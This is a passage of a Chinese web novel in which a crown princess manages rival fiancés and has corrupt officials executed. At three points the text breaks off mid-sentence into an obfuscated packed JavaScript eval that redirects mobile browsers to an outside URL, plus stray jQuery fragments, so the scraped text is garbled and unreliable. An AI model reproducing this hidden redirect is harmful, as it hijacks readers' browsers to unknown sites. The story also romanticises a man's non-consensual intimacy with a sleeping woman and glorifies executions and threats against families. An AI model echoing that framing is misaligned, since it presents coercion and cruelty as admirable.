他追求心中所爱,有何不可? 大不了不喜欢了,就好聚好散。 纳兰轻尘看君羲和东方两兄弟拉扯,心里忽然就顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666062|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟了。 于是,少年剑客也开口问。 “殿下,雪月剑庄有一剑法名为昏昏欲睡,我已经练至大成。” “是药三分毒,安神香说到底也是由草药制作而成,会对身体有一定的伤害,倒不如……” 纳兰轻尘本就和东方炽、东方凌不对付,他不甘示弱伸出一只手,大大方方邀请君羲。 “殿下去我房中休息,我给殿下舞剑助眠。” 东方炽气得咬牙,好不容易溟汐不在,他们想争取一下和君羲多些时间待在一起培养感情,纳兰轻尘居然想截胡? “这有什么的,阿凌还会唱摇篮曲呢。” 东方凌:…… 他不是,他没有,他不会。 哥哥,胡说八道也要有个度啊,他根本不会唱什么摇篮曲,唱催命曲还差不多。 偏偏东方炽这个憨憨还一脸骄傲,一副我家弟弟唱摇篮曲天下第一的神色,问东方凌。 “阿凌,你说对吧?” 纳兰轻尘也不愿示弱,这是他们三人第一次在抢夺侍寝权上争斗,他不想输。 再说,据探子所报,溟汐、东方炽、东方凌都和君羲有过肌肤之亲…… 老话说得好,一步落后则步步落后,他可不愿意落后太多。 今晚的侍寝权,他要定了! 三人间唇枪舌战,无声的刀光剑影的三人眉眼间杀来杀去。 君羲:…… 她身为妻主,这时候有必要维持一下后院和平。 “都别抢了,孤今晚要处理政事,就宿在书房。 “三位未婚夫辛苦操劳了三日,辛苦了,都早些回自己房中,早些休息吧。” 谁知,刚刚还吵得不可开交的纳兰轻尘、东方炽和东方凌三人,听到了君羲的声音,却是不约而同齐齐回过头来,看向君羲,异口同声道: “你别管。” 他们有自己的抢法! 君羲头一次感觉到尴尬,原来他们只是想体会一下抢夺的感觉吗?根本不在意她这个被抢夺之人的意见…… 君羲还能怎么办,这事儿就不好解决。 “既如此,纳兰、阿炽、阿凌,你们三人友好交流,得出结论后来书房找孤,孤就先去书房处理要事了。” 三人再次异口同声。 “好。” 君羲叹了声气,有种淡淡的忧伤。 论夫郎本是为了她而争抢,此刻却沉浸在争抢的快乐中,完全不在乎她的去留是怎么回事啊喂! 罢了,这事情总归会有一个结论,她安心在书房等着便是。 人的五根手指尚且有长有短,虽说掌心掌背都是肉,但肉的厚度可不一样。 君羲要做的就是,就算心中会偏爱九个夫郎中的一两位,也不能伤了其余夫郎的心。 这也是…… 帝王之道,讲究平衡。 圣心如渊,讲的便是身为帝王,需要隐藏好自身喜恶,让人难以揣测圣心。 君羲有的没的想了一大堆,斜支着头,心不在焉听着底下官员阿谀奉承,只觉得没意思极了。 也不知道,今晚会是哪个未婚夫赢得侍寝权呢? …… 第94章 能乖乖让孤上药了不? 君羲在走神,之前三日已经将事情处理得差不多了,现在就是一些杂七杂八的琐事。 前来汇报的官员都是一些见风使舵,既无大错,也无大功的墙头草。 天下熙熙,皆为利来,天下攘攘,皆为利往。 君羲对她们的心思门清,不过是见她要肃清两州广场,认为自己有机会攀上她这根金大腿,飞黄腾达。 所以才迫不及待拿着“投名状”来表现一二。 “殿下,她们都走了。” 直到凤羽提醒君羲,君羲才发现书桌上多了厚厚一叠写满罪状的纸。 君羲才恍然,外面已经是月上柳梢头,更深露重。 “这是?” 凤羽打趣道: “口供。” “殿下,你可不知道,刚刚你不过是走神,但前来递投名状的官员一个个被你吓得不轻,地板上全都是她们的汗。” 君羲瞥了凤羽一眼,哪有那么夸张,她又不是**的老虎,有必要这么怕? 眼神骤然停在正前方的地板上,果真有些湿润,桶周围的颜色完全不一样。 君羲:…… 她真的不是故意的。 不过,这些官员虽无大错,但也不是什么清官。 君羲在理所应当地想,就当吓吓她们,给她们长长记性。 免得她离开漾州、绥州后,这些官员借着她的威风狐假虎威、作威作福。 “凤羽,没人过来书房找孤吗?” 君羲不再纠结那些个墙头草,她只在乎三个未婚夫郎,吵了快半天,还没个胜出者? 君羲抬眸,神色有些茫然,倒是比之前高高在上的太女多了几分人情味。 凤羽好笑,轻眨了下眼。 “殿下,你希望外面的男子,是哪一位公子?” 君羲没说话,坐在书房里猜想毫无意义,想要知道外面等她的人是谁,推开房门就会知道。 她是一个行动派,说行动就会行动。 君羲心中暗暗期待,大概就是未知的往往让人心生好奇吧。 打开门,月色皎洁,倾泻于地。 她眼神一亮,月光下负剑而立的白衣剑客,潇洒少年郎,孤高天上月。 “纳兰。” 少年郎回头,月光下那张如画精致的脸像极了月宫中的仙男。 “殿下,跟我来。” 君羲自然跟了上去,她不知道纳兰轻尘是如何胜过东方兄弟二人的,她只需要知道,今晚,陪在她身边是纳兰轻尘便足够了。 少年郎身形修长如竹,月光下随着走动而飘荡的一角像极了月光的一部分。 就在君羲感慨雪月剑庄的少年剑客果真如月清冷时,听到了少年的轻嘶声。 君羲上前一步,拉住纳兰轻尘的剑鞘。 “受伤了?” 纳兰轻尘得意一笑,转头时,不经意将受伤的手腕露在君羲面前。 “没事。” 纳兰轻尘的手腕有些青紫,严重的地方甚至渗出血了。 君羲颇为头疼,所以,最终还是靠打架赢的? 她蹙眉,改为攥住少年的剑柄,二人以雪月剑为媒介,君羲在前面走,纳兰轻尘浅笑着跟在身后。 “纳兰,手腕受伤不是小事,受伤了就先去上药包扎。” 君羲隐约知道纳兰轻尘的小心思,不过是想让她心疼。 这个年纪的少年郎,爱意随风起,炽热而真挚。 对他们而言,喜欢就是喜欢,不喜欢就是不喜欢。 凭借的不过是一颗真心,没有那么多利益考虑。 君羲上一世掌过天下权,见识过太多人为了利益而争得头破血流、家破人亡,甚至,她在其中扮演着幕后推手的角色。 深陷利益漩涡久了,少年不参杂利益的真心就显得格外可贵。 “下次不必在外面等孤,让人通报即可。” 有时候,她希望她的夫郎可以不那么懂事。 纳兰轻尘垂眸看向握住剑柄的手,一个闻名天下的剑客,配剑对他来言,不仅仅是兵器那么简单。 更像是家人、友人、伴侣。 雪月剑除了纳兰轻尘,第一次被人触碰。 纳兰轻尘想起,无论是春夏秋冬,还是刮风下雨,他曾无数次握住雪月剑剑柄,或练剑、或比试、或行侠仗义、或惩奸除恶…… 雪月剑见证了纳兰轻尘太多太多,白衣少年剑客只觉得,女人握住的不是剑柄,而是握住了他的过往,握住了他的心脏。 扑通、扑通、扑通…… 心脏声如擂鼓,纳兰轻尘整个人都迷迷糊糊的,被君羲带到了房中才回过神来。 这是她们第一次共处一室,没有受伤的绝色鲛人,也没有烦人的双生子。 就他和她。 纳兰轻尘想着,他待会该做些什么,先抬左脚还是右脚,和未来妻主说话有哪些注意事项…… 纳兰轻尘第一次恨自己不爱看市场上流行的爱情话本,导致他这个感情小白根本应付不来和女子单独相处的情景。 而且…… 而且,君羲会不会像之前吻溟汐一样吻他呀。 纳兰轻尘越想越离谱,越想越多,上一次偷偷看了君羲和溟汐接吻半个时辰的画面在脑海中不断复现。 他成功把自己想得面红耳赤。 君羲浑然不知道纳兰轻尘这个还未及冠的少年想了些什么涩涩事情,她在房中翻箱倒柜一阵,终于找到了上好的金疮药以及跌打损伤药。 到底是入住城主府的时间太过仓促,将原本的东西销毁后,房中有许多东西还会置办齐全。 所以,纳兰轻尘房中连张桌子都没有。 君羲只得把药箱放在床榻上,疑惑地喊了一声面红耳赤、不敢直视她眼神的纳兰轻尘。 “纳兰,过来。” 纳兰轻尘身子一个激灵,眼神就像怯生生的小鹿,有些害怕又有些期待。 他深吸一口气,大步走向床榻,一副要献身的模样。 比起朝堂上的老狐狸,纳兰轻尘的表情可太好懂了,君羲拿起一瓶金疮药把玩,一把拉过纳兰轻尘的手。 纳兰轻尘还以为会发生什么,完全不敢睁眼。 直到手中多了一个圆形的、葫芦状、瓷器手感的东西,他似乎想到了什么,脸色红得快滴血了。 殿下,殿下这是做什么啊! 君羲忍不住了,笑出声。 “纳兰,不过是一瓶金疮药,你在想什么呢?脸这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666063|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么红。” 纳兰轻尘这才反应过来,他这是误会了。 睁眼,看向手心。 果然是一个小瓷瓶,不是什么闺房用品。 君羲也不逗纳兰轻尘了,她发现,所有夫郎中,纳兰轻尘是最容易害羞的,性格也最为单纯。 比起其他夫郎,纳兰轻尘才是表里如一,根本不禁逗的。 “手给我。” 纳兰轻尘心里紧张,却还是鼓起勇气将手递了出去。 君羲不在做多余的动作,只是小心掀起男子的衣袖,露出受伤的手腕,一边上药一边用内力化开药力。 这样能加快愈合速度,否则,明天纳兰轻尘手腕肯定会疼。 只是,她低估了纳兰轻尘的害羞程度,少年的身体僵硬得跟铁块一样,硬邦邦的。 君羲只好转移纳兰轻尘注意力。 “手腕怎么受伤的?和他们打架打的?” “嗯。” 君羲完成清理消毒,放软声音,消除纳兰轻尘的紧张。 “放松,纳兰,你这样孤没法给你上药。” “殿下,我已经在放松了啊。” 君羲思考,她是什么洪水猛兽吗?怎么纳兰轻尘看上去很怕的样子。 “纳兰,你还小,别想些有的没的,今晚,好好睡觉。” 君羲说的是实话,纳兰轻尘不像东方炽,东方炽貌似有双重人格,有一个人格带有上一世记忆,所以他会表现出极强的侵略性。 至于东方凌,他从小被父母区别对待,心思扭曲了,对喜欢的人或事物有着惊人的占有欲。 总之,东方炽和东方凌都不是什么正常人,纳兰轻尘是个正常人,所以,她也会换正常的方式对待他。 君羲以为她表述得很清楚了,但纳兰轻尘好像误解了她的意思。 少年的声音很轻,带着不可忽视的低落。 “殿下,我不小了。” 他终于敢在二人单独相处时直视君羲的眼睛,纳兰轻尘眼里有难过,他强调。 “我比东方炽他们大,殿下……” 纳兰轻尘只觉得眼眶酸得不行,光是想到君羲会不喜欢他的可能性,眼睛就不争气地想掉眼泪。 他眉心鲜艳若朱砂的红痣,仿佛都因为少年低落的心情暗淡了几分。 少年吸了吸气,眼神始终盯着女人黑白分明的眸,怕错过君羲真实的情绪。 “殿下,我好像有一点喜欢你。” 他先是表达了自己的心意,顿了顿,才问君羲。 “你呢,有像喜欢他们百分之一一样,有一点点喜欢我吗?” 君羲一看,就知道纳兰轻尘钻进牛角尖里去了。 她索性伸手捏住纳兰轻尘腮帮子,软软凉凉的,手感很好。 她心中暗自评价,然后捏住后上下晃动。 “想这么多,也不怕脑子打结。” “你们对孤来说,都是很重要的人,不要妄自菲薄啊,纳兰。” 纳兰轻尘都顾不上被捏住的脸,惊喜地捂住君羲的手。 “殿下,你说的都是真的?没骗我?” 君羲轻拍一下纳兰轻尘脑袋,“孤一言九鼎,骗你做什么?” “现在,能乖乖让孤上药了不?” 第96章 深吻选唇红 纳兰轻尘被君羲哄得乖呼呼的,乖巧“哦哦”了一声,转头就回了房门,继续睡觉去了。 君羲是上朝习惯早起了,所以每天一到点就睁眼,而且几乎不会赖床。 咳、咳…… 除了被夫郎们折腾得狠的时候。 纳兰轻尘全程都没注意到东方炽和东方凌冷冰冰的视线,也是神经非常迟钝了。 “姐姐,昨夜睡得好吗?” 面对东方凌阴飕飕的询问,君羲面不改色。 “阿凌,昨夜有你的视线一直陪伴,孤睡得很好,还梦到你了。” 东方凌笑眯眯点头,半点没有被拆穿后的心虚。 “是吗?姐姐睡得好就行。” 东方炽见二人你来我往,彼此阴阳怪气了好多句,记起今日还有要事要做,赶忙走过来打圆场。 “好了,殿下,阿凌,时间也不早了,先收拾一下,准备出发去万民广场了。” 君羲和东方凌这才偃旗息鼓,各自梳洗去了。 君羲的一头长发又黑又长又直,绸缎一样顺滑。 平日里都是被她简单梳成高马尾,但今日不一样。 她想在重生后第一次收复民心的重大日子里,束发戴冠,尽显大凰储君威仪。 寸有所短,尺有所长。 君羲披散着长发,有些束手无策。 她已经尝试了好几次,都没法让“硬如钢针”的头发按照她的心意束成发冠,装饰上镂空如意红宝石金簪。 “哎……” 束发这玩意居然这么难的? 君羲开始后悔了,她就应该带上暗月。 别看暗月是暗卫君首领,擅长暗杀,但她束发的手艺更是一绝。 沉鱼落雁、闭月羞花都戏称,若是哪天暗月失去了暗卫君统领的职位,靠束发手艺吃饭,也是能吃喝不愁的。 东方炽轻笑出声,没想到,看似无所不能的太女殿下居然也有不擅长的领域。 男人站在女人身后,拿起梳妆台上的木梳,仔细给女人梳头。 骨节分明的修长手指在黑发间穿梭,东方炽照顾东方凌照顾惯了,东方凌很多生活起居上的小事,都是他亲力亲为。 他束发的手艺,算得上精巧。 模糊的铜镜中,倒映出男人为女人束发的情景,日常而又温馨,君羲整个人都松弛下来了。 这才是真正的闺房之乐啊。 束发完毕,东方炽又替君羲画眉。 他眼神专注,动作灵巧,不过寥寥几笔,便将女人眉宇间的三分英气画得更胜以往。 紧接着,便是唇妆。 君羲准备了一袭黑红相间,绣有金色龙纹的马面裙套装,东方炽看了一眼衣服,仔细在诸多唇脂间挑选最合适的颜色。 这时候才发现,君羲已经半靠在他怀里,半梦半醒。 东方炽很喜欢君羲全身心依赖他、信任他的模样,他垂眸,盯着女人形状极美的唇形。 他曾经在床榻间品尝过,这张唇的滋味极好。 东方炽眸色一暗,手指抚上女人的粉唇,他还能清晰地记得这张唇,被反复亲吻后,那鲜艳欲滴的颜色…… 比天底下任何唇脂都来得美。 渐渐地,男人的动作愈发放肆,不再满足于唇瓣上浅尝即止的抚摸。 唇瓣开合,露出洁白的贝齿和殷红的舌尖,东方炽呼吸猛地加重,手指小心翼翼探入。 女人的眉心微蹙,显然有些不舒服 东方炽立马放轻了动作,生怕君羲醒来,这场单方面的亵玩就要结束。 “殿下……你好美。” 这天底下怎么会有一个女子,长得恰巧合他的心意? 若是以前有人对东方炽说,有朝一日他会对一个女子痴迷到这般地步,他决然不会相信。 但如今,他已经放任自己清醒的沉沦。 就算有上一世的记忆,他也依旧不受控制地喜欢上了君羲。 好在,东方炽心里还是有分寸的,眼看时间差不多了,便停下了手指动作。 他恋恋不舍抽出,用一旁的湿布擦干净,手指间不断地摩挲,似乎还在回味。 可惜,时间不够。 东方炽只得遗憾收尾,轻声喊醒君羲。 “殿下,醒醒,时间差不多了。” 君羲清醒过来,忙不迭望向铜镜中的自己,这才发现已经打扮得差不多了,就差一抹唇红。 君羲还以为东方炽不会选颜色,这才把她喊醒。 女人看着梳妆台上近百号颜色不同的唇脂,颇感觉有些头疼,难怪东方炽挑选不出来。 就在君羲眼花缭乱时,听到一个天籁之音。 “殿下,我有办法挑选出最合适的唇脂。” 君羲一脸崇拜,阿炽好厉害! “阿炽,什么办法?” 东方炽被女人眼底的崇拜蛊惑,捏住她的下巴,抬起,诱哄她开口答应。 “殿下,这个办法很简单,只需要殿下配合我挑选出最合适的颜色就可以了。” 君羲不疑有他。 “怎么配合?” 东方炽喉结滚动,略微带着点磁性的少年音回响在耳畔。 “闭眼。” 君羲也想看看东方炽口中挑选唇脂的最好方法是什么,所以她如东方炽所言,缓缓闭上眼。 东方炽又拿起梳妆台上二指宽的红色轻纱,动作轻柔地遮住女人闭上的双眼,系在脑后。 还不忘安抚女人。 “殿下,别怕。” 系好红色轻纱后,东方炽看向被红色轻纱遮住双眼的女人,呼吸一窒。 太美了。 太帅了。 东方炽甚至有些后悔,不该把君羲打扮得这般耀眼夺目。 “阿炽?” 东方炽回了一句。 “姐姐。” 低沉的嗓音撩人至极。 君羲还没从耳朵快要怀孕的酥麻感回过神,便被野性桀骜的男人半强制仰头,深深吻住。 男人的动作又急又凶,活像许久没吃上肉一般。 君羲有些招架不住,东方炽这是怎么了?突然亲得这么凶! “唔……” 她素白的手无力地攀上男人宽阔的肩膀,攥紧又松开,松开又攥紧。 所有的动作都跟随东方炽的节奏。 东方炽早就想这么吻君羲了,那晚他同弟弟打架,争夺替君羲解药的资格。 谁知,却弄巧成拙,让鲛人溟汐把君羲带去了南海深处。 最开始,他们不知道是溟汐将她带走,担心君羲会遭遇什么不测,不眠不休调查了两天一夜。 这才得知,是溟汐将君羲带走。 但是,尽管知道了君羲的具体去向,心里还是止不住的担心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666065|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>那可是人迹罕至的南海深处,一不小心就可能会葬身海底。 后怕的情绪一直蚕食着他的四肢百骸,心脏血液。 那天,在海面上见到君羲,终于确定她安然无恙时,东方炽就想向现在这样吻她了。 恨不能将血肉吞吃入腹,彻底融为一体。 东方炽真的好怕,好怕君羲会出什么意外,从他的世界里,彻底消失不见。 强烈的后怕情绪在心里不断酝酿、累积,其实他早就需要宣泄出来。 但君羲归来后,一直忙于处理漾州、绥州的要事,东方炽看在眼里,心里心疼女人这般劳累。 所以才没有急着做什么。 直到刚刚,女人毫无防备地靠在他怀中睡着,东方炽自君羲离开大陆后,累积的后怕情绪终于爆发…… 也就有了刚刚吻得又急又凶的一幕。 亲密接触有助于感受另一半的真实情绪,君羲很快便从亲吻中感受出东方炽在害怕,害怕失去她。 她不在无力推拒,而是回应。 回应得热烈、疯狂。 就像是一种昭告,昭告她已经平安归来,也是在安抚,安抚男人不要害怕。 东方炽感受到女人传递的信息,眼泪顺着眼角滑落。 怎么有人可以这么温柔啊? 一滴泪恰巧滑落至二人交缠的唇舌间…… 咸咸的,是阿炽哭了吗? 君羲一边回应男人越发激烈的吻,一边在男人的后背轻抚。 “哥,该出发了。” 东方凌进门,就看到东方凌和君羲接吻,总觉得这一幕,似曾相识。 东方炽放开女人被吻得红红的唇,端详了一会儿,满意地点点头。 “殿下,你看看这个颜色是否喜欢?” 君羲看向铜镜中的自己,女人眉眼含媚,唇色殊红。 像极了风情万种的女妖精。 唇色,倒是刚刚好,和她身上的马面裙套装很适配。 “喜欢。” 谁知,却听到东方炽遗憾的叹了声气。 “诶?一次性就好了吗……” 君羲:…… 若是再放任东方炽吻下去,她的唇就不只是红这么简单了,说不定会肿得没法见人。 君羲赶忙打消东方炽危险的想法。 “阿炽,谢谢你。” “这个唇色我真的很喜欢,多一抹红则显得过分艳丽,少一抹红则显得寡淡无味。” 东方炽也成功被君羲哄得找不着北了…… 东方凌严重怀疑,若是此刻君羲让东方炽喝下毒酒,他也会毫不犹豫喝下去。 “阿凌,你先照看着点你哥,我现在去喊纳兰。” 君羲留下一句话后,潇洒离去,喊纳兰清晨起床。 或许是因为床榻间若有似无的冷香,萦绕在他的鼻尖,纳兰轻尘睡得很熟。 “纳兰,起床了。” 纳兰轻尘迷迷糊糊睁开一只眼睛,这么快就到时间了吗?他感觉自己也没睡多久啊…… 他有一定程度的起床气,但对君羲除外。 纳兰轻尘揉了揉眼睛,瓷白的侧脸被睡出了红印,看上去有些可爱。 君羲没忍住,伸手戳了戳。 然后,引发了纳兰轻尘委屈的控诉,嗓音哑哑的,带着刚醒的倦懒。 “殿下!你怎么可以戳我脸?” 第97章 斩贪官,大块人心 君羲根本不带心虚的,不止没有收手,反而变本加厉。 她不只用手指戳,还上手揉捏。 “怎么不可以?昨晚你还抱着孤的腰睡了一晚上呢。” 纳兰轻尘一听这话,心虚了。 昨夜他的确被女人的细腰蛊惑,他就是好奇啊,怎么会有人的腰那么细一点,还能在战场上称王称霸。 纳兰轻尘原本只是用手掌去比对,比着比着,他开始好奇,近在咫尺的细腰圈在臂弯该是什么感觉。 谁知,他圈着女人的细腰越发觉得舒服,舒服得倒头就睡着了…… 于是,才有了早上那一幕。 纳兰轻尘讨好地将脸凑到君羲手中,嘴里的声音有些嘟囔。 “行叭,给你捏。” 君羲就是想和纳兰轻尘增进一下感情,捏够了脸,也该做正事了。 “纳兰,给你准备的衣服就在床头,孤在外面等你。” 床头,放着一个精致的雕花木盘,盘中是一件精致繁复的绯红衣袍。 纳兰轻尘一打眼就喜欢上了。 “殿下,谢谢你,我很喜欢这件衣服。” “喜欢就好。” 她揉了揉少年脑袋,移步屏风外等待。 …… 君羲和东方炽她们在城主府中换衣服时,被软禁在一处偏僻府院的官员们却是惶惶不可终日。 凤羽军可真狠啊! 她们只听从君羲的命令,半点情面都不讲。 “太女殿下有令,坦白从宽,抗拒从严。” “尔等可以相互举报,但凡有证据能证明被举报之人的罪行,就能将功折罪。” 她们都是勾结倭寇,贩卖大凰百姓的利益即得者,一条绳上的蚂蚱,彼此手中都有对方的把柄。 若是真按君羲命令相互举报,那她们所有人都有罪,证据确凿那种。 所以,她们试图反抗。 “凭什么?” “本官有功名在身,就算太女殿下是储君,也不能判我死罪!” “否则,就是让天下读书人寒心!” “……” 她们原本以为,只要闹大,君羲为了维护名声,定然会妥协。 可惜,错估了凤羽军的铁血。 长剑出鞘,寒光一闪,剑落人头落。 鲜血喷溅,所有聚众闹事的人,全都被喷了一脸血。 “啊!” 带头的凤羽军不为所动,脸色都没有变一下,就仿佛刚才杀的不是人,而是土鸡瓦狗。 “哦,忘了告诉你们,殿下还有一令,但凡闹事者,斩立决。” “你们之中,若没人站出来举报,每过一日,便杀十日。” 周围的凤羽军配合着笑得一脸嗜血,这些贪官污吏何时见过这种阵仗? 纷纷被吓得不停后退,有的甚至被吓得瘫软在地,失禁了。 “是自己死还是别人死,你们自己好好想一想吧。” 凤羽军小队首领下令关上院门。 “太女殿下……可没什么耐心啊。” 君羲这一招就是要让她们内部利益联盟瓦解,她相信,不是所有的人都能视死如归。 这三日,就是君羲设定的观望时限。 现在,也该去验收成果了。 “殿下!这是这群狗官提供的举报证据,好厚一叠呢。” 刚开始,她们还想僵着,以为君羲不敢杀她们。 结果被关进来的第二日,就有十人被随机点名,压在地上削了脑袋。 十颗人头整整齐齐滚落在地,她们甚至连一声惨叫都来不及发出,就已经一命呜呼。 这下这群贪官污吏是真的被吓破胆了。 说了不说都可能会死,何不赌一把? 就赌太女会遵守约定,让她们有将功折罪的机会。 人不为己,天诛地灭。 于是,在死亡威胁下,她们的利益联盟自发瓦解。 彼此防备,生怕被人背后捅刀子…… 短短三四天,这群日日高床软枕,奴仆环绕,享受奢靡生活的贪官污吏,全都像被圈养的牲畜一样,凄惨狼狈,一不小心就会万劫不复。 她们真的快疯了! 提供的证据够不够抵死罪全凭凤羽军判定,若是举报者被判定提供的证据不足以抵死罪,那这个“举报人”就会被当场揭穿,举报了谁谁谁…… 这才是真正的狗咬狗! “太女殿下驾到!” “太女殿下千岁、千岁、千千岁!” 君羲开口,声音尽显储君威压。 “平身。” 凤羽军显然早就有所准备,在起身后,飞快端来四张太师椅,整齐摆成一排。 其中,最中间的太师椅刚好就位于院门正中间。 君羲大刀阔斧坐下,双手撑在膝盖上,等着上锁的大门缓缓打开。 咔嚓…… 铜锁打开,铁链落地。 院内和院外是截然不同的光景,君羲这个坐姿极具压迫力,像兽王在巡视她的领地,但凡发现入侵者和背叛者,就会毫不犹豫撕碎敌人。 被关在院中的贪官污吏这三天本就受尽折磨,无论是身体还是心理都快承受到极点,即将崩溃。 冷不丁看到院门缓缓打开,第一反应不是逃,而是将身体缩成一团,瑟瑟发抖。 之前的三天里,每次院门打开,对他们来说都不是好事。 不是凤羽军前来挑选被杀人,就是有人举报成功,被举报人即将赴死。 这扇院门在他们眼中更像是地狱的大门,每次打开都象征着死亡的来临。 君羲压低凤眼,周身气势,让人望而生畏。 “诸位,早上好啊,可还有什么遗言要交代的?” 遗言? 不! 她们不想死啊! 那些纷纷因为自己举报成功,暗中窃喜,能够将功赎罪的贪官瞬间懵了。 “太女殿下!您贵为大凰储君不能说话不算话呀,我……” 君羲抬眸,笑弯了眼,眸底深处却是冷色。 “污蔑储君,罪加一等。” 她笑得邪气,单手支着下颚,故作疑惑问道: “什么说话不算话?你有证据吗?” 那官员哑口无言,背叛之举并不光彩,而且,她知道,君羲已经动了杀心,任由她如何辩解,都无法改变必死的结局。 她苦笑,没想到一念之差,同流合污,落得如今地步也算咎由自取,怪不得任何人。 “太女殿下,罪臣愿意认罪,但求殿下放过罪臣的家人,他们都是无辜的。” 君羲心中冷笑一声,无辜? 在她看来,这些贪官污吏的家眷既然享受了这些贪官压榨百姓,勾结倭寇,带来的荣华富贵,就算不得无辜。 虽然罪不至死,但她也不会放任这些人继续享受奢靡生活。 “孤可以饶他们不死,前提是……” 君羲意有所指望向那官员,那官员也上道,当即跪下,咚咚咚磕了三个响头。 “罪臣谢太女殿下隆恩!” “凤一。” 铛—— 一把锋利的宝剑被风衣扔到了官员面前,那官员伸手去拿剑,浑身都在发抖。 拿起剑的第一刻,心中骤然升起的想法便是反抗,杀了君羲。 但…… 君羲被凤羽军牢牢护住暂且不谈,她的父母夫女都在君羲掌控中。 理智终究还是战胜了心中的冲动。 她闭眼,利剑横在脖子上。 “罪臣甘愿赴死,太女殿下仁慈千古!” 话落,利剑抹了脖子。 铛—— 利剑再次落在地上,这次却是染了鲜血。 “我不想死!别杀我……” “君羲!你这个暴君!也不怕受尽天下百姓辱骂。” “……” 院内很快乱成一团,有抱头痛哭的,也有怒骂君羲暴戾无道的…… 君羲只觉得,如听仙乐耳暂明。 这些辱骂声,不过是敌人即将死去时的无能狂怒,是敌人对她最高的礼赞。 “哭吧,闹吧,哭过闹过之后,你们便可以选择安心上路了。” “你们是想独自行走黄泉路,还是想让你们的父母亲人陪你们?” “孤相信,诸位都能聪明到和倭寇勾结、贩卖人口、牟取暴利了,想必,此刻想做出正确选择,也是小事一桩。” 君羲抽出长剑,横在刚刚骂她暴戾无道的官员脖子上。 “你做出这等猪狗不如之事都不怕被天下人指着脊梁骨骂,孤替天行道,为百姓做主,有何好怕?” “我……” 君羲骂完那人,心中出了一口恶气。 根本不给她说话辩解敌人机会,转身的同时挥剑,那官员就瞪大了眼,死不瞑目。 “嗬、嗬……” 君羲侧眸问凤一。 “安王及其党羽勾结的证据现在整理得如何了?” 凤一恭敬拱手。 “殿下,已经按照您的吩咐,送往书局制作成册,分发给两州百姓逐一传阅。” 君如舟,民如水。 水能载舟,亦能覆舟。 君羲就算要杀了这些贪官污吏,肃清两州官场,也会师出有名,杀得两州百姓拍手称快、心服口服! 大凰储君御驾亲征,欲荡平倭寇,营救大凰子民的消息,随着贪官污吏累累罪行的证据传得沸沸扬扬。 一方面是为了振奋民心,另一方面,则是为了引蛇出洞。 漾州、绥州,两州百姓心中早就对压迫她们的贪官不满,得知君羲将在浩然城将她们就地正法,一时间,万人空巷。 “是太女殿下!” “太女殿下真的会为我等做主吗?” “……” 一个又一个面色枯败,衣衫褴褛的贪官污吏被压上行刑台。 刽子手手持砍头大刀,腰间挂着一壶烈酒,就等着一声令下,饮酒砍头。 周围的百姓越聚越多,行刑台上的贪官污吏也摆满了。 “斩。” …… 第98章 打脸沈长卿,未婚夫郎们夸君羲帅 令牌落地,刽子手喝了一口烈酒,朝手中大刀喷了一口酒。 眼看便要手起刀落,人头落地。 围观的百姓们这才有了有人真的替她们杀了贪官污吏的实感。 百姓们不自觉红了眼眶。 这些年来,她们受了太多太多的压迫、苦难,如今终于有人替他们做主了。 “好!” “太女殿下千岁!” 原来,她们对太女殿下有诸多误解,太女殿下才不是暴戾无道,行事荒唐的暴君。 那些往太女殿下身上泼脏水的人真是其心可诛!想用流言让她们误会太女殿下。 “刀下留人!” 有个身穿水红色嫁衣的男子,披头散发,衣衫破烂。 他踉踉跄跄地挤开人群,扑通一声跪在行刑台前,眼神直勾勾地锁定端坐高台上的君羲。 “太女殿下,我……草民愿意用一个重大秘密换取我母亲一条性命。” 那男子似乎对自己口中的重要秘密十分有自信,唇瓣开合:重生。 确保女人能够将他无声的成语看得清清楚楚后,沈长卿恭恭敬敬、端端正正,磕了九个响头。 “就当看在我的面子上,还请太女殿下开恩。” 说起来,用唇语这一招沈长卿还是跟君羲学的。 沈长卿没想到,自以为机关算尽,到最后却是满盘皆输。 他好不容易克服屈辱至极的心理,嫁给君凌,想借助她在绥州的势力慢慢图谋。 他心里面还做着凭借前世记忆,搅弄风云,同明月两厢厮守的美梦…… 却在出嫁这日,被君凌和君羲狠狠打了一巴掌。 他不止没能如愿,还成了刚过门便丧妻的寡夫。 沈长卿对君凌的死没有任何触动,君凌对他极尽羞辱,根本不把他当人看,就算君羲不杀了他,他日后也会想方设法蛰伏,一击必杀。 可是,君羲早不来晚不来,偏偏要在一旁看够了热闹,他和君凌完成了婚礼才出来。 比起君凌,沈长卿更恨君羲。 君羲对他的万千宠爱恍若昨日,如今却对他这般冷漠。 他本以为自己会毫不在意,但事实根本不是他想象的那个样子。 